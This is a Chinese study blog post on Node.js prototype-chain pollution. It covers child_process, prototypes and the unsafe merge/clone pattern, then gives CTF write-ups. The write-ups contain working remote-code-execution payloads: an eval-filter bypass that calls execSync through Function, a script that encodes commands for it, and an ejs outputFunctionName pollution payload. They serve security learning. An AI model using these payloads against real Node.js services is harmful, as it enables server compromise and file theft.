Nodejs原型链污染

[toc]

NodeJs基础

好像也没啥写的。。

child_process(创建子进程)

分为异步和同步:

异步:

child_process.exec(command[, options][, callback])
child_process.execFile(file[, args][, options][, callback])
child_process.fork(modulePath[, args][, options])
child_process.spawn(command[, args][, options])

同步:

child_process.execFileSync(file[, args][, options])
child_process.execSync(command[, options])
child_process.spawnSync(command[, args][, options])

异步中,spawn是基础,其他的forkexecexecFile都是基于spawn来生成的。

Javascript原型链

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain

原型与原型链

js中没有子类父类的概念,也没有类和实例,js中的继承使用"原型链"来实现。

JS中几乎所有的事物都是对象,如下代码:

var a = {
    "name": "asdf",    
    "blog": "https://asdf.github.io"
}
a.name;
a.blog;
console.log(a);

其中访问对像的属性,可以有两种方式:

a.name; 
a["name"];

原型的定义和继承

在javascript中一切皆对象,因为所有的变量,函数,数组,对象 都始于object的原型即object.prototype

每个实例对象(object)都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype)。即任何对象都是由一个构造函数创建的.

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
//Son类继承了Father类的last_name属性最后输出的是Name: Melania Trump

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:(查找顺序)

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为 __proto__ )指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__),层层向上直到一个对象的原型对象为 null。根据定义,null 没有原型,并作为这个原型链中的最后一个环节。

function a(name,age){
    this.name = name;
    this.age = age;
}

a函数内容是a类的构造函数,其中this.namethis.age就是a类的属性。

在JavaScript中,声明了一个函数a,然后浏览器就自动在内存中创建一个对象b,a函数默认有一个属性(原型对象:prototype)指向了这个对象b,b就是函数a的原型对象,简称原型。同时,对象b默认有属性constructor指向函数a。

> function a(){};
undefined
> a.prototype
{} 
> a.prototype.constructor
[Function: a]

创建一个对象a,对象a会默认有一个属性proto指向构造函数A的原型对象b

A.prototype == a.__proto__

> function A(){};
undefined
> let a = new A();
undefined
> A.prototype = a.__proto__
{}
> a.constructor
[Function: A]

当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回 undefined。

> a.__proto__
{}
> a.__proto__.__proto__
[Object: null prototype] {}
> a.__proto__.__proto__.__proto__

img

由于对象之间存在继承关系,所以当我们要使用或者输出一个变量就会通过原型链向上搜索,当上层没有就会再向上上层搜索,直到指向 null,若此时还未找到就会返回 undefined

图中的原型链是 cat->Cat.protype->Object.prototype->null

img

NodeJs原型链污染

原型链污染就是修改其构造函数中的属性值,使其他通过该构造函数实例化出的对象也具有这个属性的值。

foo.__proto__指向的是Foo类的prototype。那么,如果我们修改了foo.__proto__中的值,是不是就可以修改Foo类呢?demo:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。

在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

可能存在原型链污染的情况:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

以merge举例:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

这个key如果是__proto__,就有可能造成原型链污染。

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)

没有成功,这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

那么,如何让__proto__被认为是一个键名呢?

我们将代码改成如下:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

成功污染。在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

CTF题目

[NPUCTF2020]验证🐎

好吧,其实这个不是原型链污染的题,做完才发现。。但还是学到很多

const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');

const fs = require('fs');
const crypto = require('crypto');

const keys = require('./key.js').keys;

function md5(s) {
    return crypto.createHash('md5')
        .update(s)
        .digest('hex');
}

function saferEval(str) {
    if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
        return null;
    }
    return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个

const template = fs.readFileSync('./index.html').toString();

function render(results) {
    return template.replace('{{results}}', results.join('<br/>'));
}

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

app.use(cookieSession({
    name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,给👴爪⑧
    keys
}));

Object.freeze(Object);
Object.freeze(Math);

app.post('/', function(req, res) {
    let result = '';
    const results = req.session.results || [];
    const { e, first, second } = req.body;
    if (first && second && first.length === second.length && first !== second && md5(first + keys[0]) === md5(second + keys[0])) {
        if (req.body.e) {
            try {
                result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
            } catch (e) {
                console.log(e);
                result = 'Wrong Wrong Wrong!!!';
            }
            results.unshift(`${req.body.e}=${result}`);
        }
    } else {
        results.unshift('Not verified!');
    }
    if (results.length > 13) {
        results.pop();
    }
    req.session.results = results;
    res.send(render(req.session.results));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function(req, res) {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync('./index.js'));
});

app.get('/', function(req, res) {
    res.set('Content-Type', 'text/html;charset=utf-8');
    req.session.admin = req.session.admin || 0;
    res.send(render(req.session.results = req.session.results || []))
});

app.listen(80, '0.0.0.0', () => {
    console.log('Start listening')
});

主要的就是first.length === second.length && first !== second && md5(first + keys[0]) === md5(second + keys[0]),然后绕过一个正则,

可以使用正则可视化:

image-20220301191754136

允许Math.xxx或者一堆字符,或者科学计数法。

MD5

首先是MD5的绕过。使用了相加,可能就是弱类型,app.use(bodyParser.json());指明了允许在Content-Type是application/json时,可以以json格式解析数据,{"e": "1+1", "first": "1", "second": [1]}

正则绕过

允许Math,取Function,Function将我们获得的字符串作为函数执行

> Math.constructor
[Function: Object]
> Math.constructor.constructor
[Function: Function]

可以执行

let a=Math.constructor.constructor
console.log(a("return process.mainModule.require('child_process').execSync('dir').toString()")())

不允许字符出现,利用String.fromCharCode()

def gen(cmd):
    s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
    return ','.join([str(ord(i)) for i in s])

print(gen('cat /flag'))

可以利用字符串拼接出string:

> Math+1
'[object Math]1'

箭头函数表示自调用(()=>())(),例子:

let a = function () {
    console.log("123123");
};

a();

let b = (x) => {
    console.log(x);
};
b(123);

let c = (x) => console.log(x);
c(123);

最终payload:

(Math=>
    (Math=Math.constructor,
            Math.constructor(
                Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                    99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                    46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                    95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                    121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
    )
)(Math+1)

[GYCTF2020]Ez_Express

www.zip 下载,在route/index.js,有merge和clone,那就是了,

router.post('/action', function(req, res) {
    if (req.session.user.user != "ADMIN") { res.end("<script>alert('ADMIN is asked');history.go(-1);</script>") }
    req.session.user.data = clone(req.body);
    res.end("<script>alert('success');history.go(-1);</script>");
});

需要是admin才能clone,login:

function safeKeyword(keyword) {
    if (keyword.match(/(admin)/is)) {
        return keyword
    }

    return undefined
}
router.post('/login', function(req, res) {
    if (req.body.Submit == "register") {
        if (safeKeyword(req.body.userid)) {
            res.end("<script>alert('forbid word');history.go(-1);</script>")
        }
        req.session.user = {
            'user': req.body.userid.toUpperCase(),
            'passwd': req.body.pwd,
            'isLogin': false
        }
        res.redirect('/');
    } else if (req.body.Submit == "login") {
        if (!req.session.user) { res.end("<script>alert('register first');history.go(-1);</script>") }
        if (req.session.user.user == req.body.userid && req.body.pwd == req.session.user.passwd) {
            req.session.user.isLogin = true;
        } else {
            res.end("<script>alert('error passwd');history.go(-1);</script>")
        }

    }
    res.redirect('/');;
});

匹配大小写之后toUpperCase转为大写,p牛的一篇文章:

Fuzz中的javascript大小写特性

https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

注册admın

之后就到了漏洞部分:

router.post('/action', function(req, res) {
    if (req.session.user.user != "ADMIN") { res.end("<script>alert('ADMIN is asked');history.go(-1);</script>") }
    req.session.user.data = clone(req.body);
    res.end("<script>alert('success');history.go(-1);</script>");
});

payload的构造:https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/

{"__proto__":{"outputFunctionName":"a;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

改application/json,之后访问info得flag。

end.


https://www.cnblogs.com/ophxc/p/13298896.html https://as1def.github.io/2021/01/24/NodeJs%E4%BB%8E%E9%9B%B6%E5%BC%80%E5%A7%8B%E5%88%B0%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93/ https://www.anquanke.com/post/id/236182 https://www.freebuf.com/articles/web/200406.html https://www.cnblogs.com/tr1ple/p/11360881.html https://0xcreed.jxustctf.top/2020/06/nodejs%E5%AD%A6%E4%B9%A0/ https://xz.aliyun.com/t/7184#toc-3 https://xz.aliyun.com/t/7182 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html https://evi0s.com/2019/08/30/expresslodashejs-%e4%bb%8e%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93%e5%88%b0rce/ https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

0%